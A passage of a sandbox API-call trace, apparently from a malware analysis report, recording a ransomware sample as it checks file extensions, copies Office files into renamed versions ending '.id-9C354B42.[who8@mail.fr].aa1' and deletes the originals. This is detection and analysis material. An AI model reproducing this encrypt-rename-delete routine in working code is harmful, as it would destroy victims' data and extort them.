Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.148] lstrlenW (lpString=".doc") returned 4 [0207.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.148] lstrlenW (lpString=".docx") returned 5 [0207.148] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0207.148] lstrlenW (lpString=".pdf") returned 4 [0207.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.148] lstrlenW (lpString=".xls") returned 4 [0207.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.148] lstrlenW (lpString=".xlsx") returned 5 [0207.148] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0207.148] lstrlenW (lpString=".ppt") returned 4 [0207.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.148] lstrlenW (lpString=".zip") returned 4 [0207.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.148] lstrlenW (lpString=".rar") returned 4 [0207.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.148] lstrlenW (lpString=".bz2") returned 4 [0207.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString=".7z") returned 3 [0207.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.149] lstrlenW (lpString=".dbf") returned 4 [0207.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.149] lstrlenW (lpString=".1cd") returned 4 [0207.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.149] lstrlenW (lpString=".jpg") returned 4 [0207.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.149] lstrlenW (lpString=".doc") returned 4 [0207.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString=".docx") returned 5 [0207.149] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0207.149] lstrlenW (lpString=".pdf") returned 4 [0207.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString=".xls") returned 4 [0207.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString=".xlsx") returned 5 [0207.149] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0207.149] lstrlenW (lpString=".ppt") returned 4 [0207.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.150] lstrlenW (lpString=".zip") returned 4 [0207.150] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.150] lstrlenW (lpString=".rar") returned 4 [0207.150] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.150] lstrlenW (lpString=".bz2") returned 4 [0207.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.150] lstrlenW (lpString=".7z") returned 3 [0207.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.150] lstrlenW (lpString=".dbf") returned 4 [0207.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.150] lstrlenW (lpString=".1cd") returned 4 [0207.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.150] lstrlenW (lpString=".jpg") returned 4 [0207.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.150] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0207.150] lstrlenW (lpString="ipsen.xml") returned 9 [0207.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.313] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2578) returned 1 [0207.313] CloseHandle (hObject=0x1dc) returned 1 [0207.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0207.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.313] lstrlenW (lpString=".doc") returned 4 [0207.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.314] lstrlenW (lpString=".docx") returned 5 [0207.314] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.314] lstrlenW (lpString=".pdf") returned 4 [0207.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.314] lstrlenW (lpString=".xls") returned 4 [0207.314] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.314] lstrlenW (lpString=".xlsx") returned 5 [0207.314] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.314] lstrlenW (lpString=".ppt") returned 4 [0207.314] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.314] lstrlenW (lpString=".zip") returned 4 [0207.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.314] lstrlenW (lpString=".rar") returned 4 [0207.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.314] lstrlenW (lpString=".bz2") returned 4 [0207.315] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.315] lstrlenW (lpString=".7z") returned 3 [0207.315] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.315] lstrlenW (lpString=".dbf") returned 4 [0207.315] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.315] lstrlenW (lpString=".1cd") returned 4 [0207.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.315] lstrlenW (lpString=".jpg") returned 4 [0207.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.315] lstrlenW (lpString=".doc") returned 4 [0207.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.315] lstrlenW (lpString=".docx") returned 5 [0207.315] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.315] lstrlenW (lpString=".pdf") returned 4 [0207.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString=".xls") returned 4 [0207.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString=".xlsx") returned 5 [0207.316] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.316] lstrlenW (lpString=".ppt") returned 4 [0207.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.316] lstrlenW (lpString=".zip") returned 4 [0207.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.316] lstrlenW (lpString=".rar") returned 4 [0207.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString=".bz2") returned 4 [0207.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString=".7z") returned 3 [0207.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.316] lstrlenW (lpString=".dbf") returned 4 [0207.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.316] lstrlenW (lpString=".1cd") returned 4 [0207.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.317] lstrlenW (lpString=".jpg") returned 4 [0207.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.317] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.317] lstrlenW (lpString="AccessMUI.XML") returned 13 [0207.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.318] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1349) returned 1 [0207.318] CloseHandle (hObject=0x1dc) returned 1 [0207.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0207.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.319] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.319] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.319] GetLastError () returned 0x0 [0207.319] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x545, lpOverlapped=0x0) returned 1 [0207.321] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0207.322] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.323] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0207.323] SetEndOfFile (hFile=0x178) returned 1 [0207.323] CloseHandle (hObject=0x178) returned 1 [0207.324] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.324] SetEndOfFile (hFile=0x1dc) returned 1 [0207.325] CloseHandle (hObject=0x1dc) returned 1 [0207.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0207.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.326] lstrlenW (lpString=".doc") returned 4 [0207.326] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.326] lstrlenW (lpString=".docx") returned 5 [0207.326] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0207.326] lstrlenW (lpString=".pdf") returned 4 [0207.326] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.326] lstrlenW (lpString=".xls") returned 4 [0207.326] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.326] lstrlenW (lpString=".xlsx") returned 5 [0207.326] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0207.326] lstrlenW (lpString=".ppt") returned 4 [0207.326] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.327] lstrlenW (lpString=".zip") returned 4 [0207.327] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.327] lstrlenW (lpString=".rar") returned 4 [0207.327] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.327] lstrlenW (lpString=".bz2") returned 4 [0207.327] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.327] lstrlenW (lpString=".7z") returned 3 [0207.327] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.327] lstrlenW (lpString=".dbf") returned 4 [0207.327] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.327] lstrlenW (lpString=".1cd") returned 4 [0207.327] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.327] lstrlenW (lpString=".jpg") returned 4 [0207.327] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.328] lstrlenW (lpString=".doc") returned 4 [0207.328] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString=".docx") returned 5 [0207.328] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0207.328] lstrlenW (lpString=".pdf") returned 4 [0207.328] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString=".xls") returned 4 [0207.328] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString=".xlsx") returned 5 [0207.328] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0207.328] lstrlenW (lpString=".ppt") returned 4 [0207.328] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.328] lstrlenW (lpString=".zip") returned 4 [0207.328] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.328] lstrlenW (lpString=".rar") returned 4 [0207.328] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString=".bz2") returned 4 [0207.328] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.328] lstrlenW (lpString=".7z") returned 3 [0207.329] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.329] lstrlenW (lpString=".dbf") returned 4 [0207.329] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.329] lstrlenW (lpString=".1cd") returned 4 [0207.329] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0207.329] lstrlenW (lpString=".jpg") returned 4 [0207.329] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.330] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.330] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0207.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.331] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=819) returned 1 [0207.331] CloseHandle (hObject=0x1dc) returned 1 [0207.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0207.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.331] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.331] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.332] GetLastError () returned 0x0 [0207.332] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x333, lpOverlapped=0x0) returned 1 [0207.333] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x340, lpOverlapped=0x0) returned 1 [0207.334] ReadFile (in: hFile=0x1dc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.334] WriteFile (in: hFile=0x178, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0207.335] SetEndOfFile (hFile=0x178) returned 1 [0207.335] CloseHandle (hObject=0x178) returned 1 [0207.335] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.336] SetEndOfFile (hFile=0x1dc) returned 1 [0207.337] CloseHandle (hObject=0x1dc) returned 1 [0207.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.337] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0207.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.338] lstrlenW (lpString=".doc") returned 4 [0207.338] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.338] lstrlenW (lpString=".docx") returned 5 [0207.338] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0207.338] lstrlenW (lpString=".pdf") returned 4 [0207.339] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString=".xls") returned 4 [0207.339] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString=".xlsx") returned 5 [0207.339] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0207.339] lstrlenW (lpString=".ppt") returned 4 [0207.339] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.339] lstrlenW (lpString=".zip") returned 4 [0207.339] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.339] lstrlenW (lpString=".rar") returned 4 [0207.339] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString=".bz2") returned 4 [0207.339] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString=".7z") returned 3 [0207.339] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.339] lstrlenW (lpString=".dbf") returned 4 [0207.339] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.339] lstrlenW (lpString=".1cd") returned 4 [0207.339] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.339] lstrlenW (lpString=".jpg") returned 4 [0207.339] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0207.340] 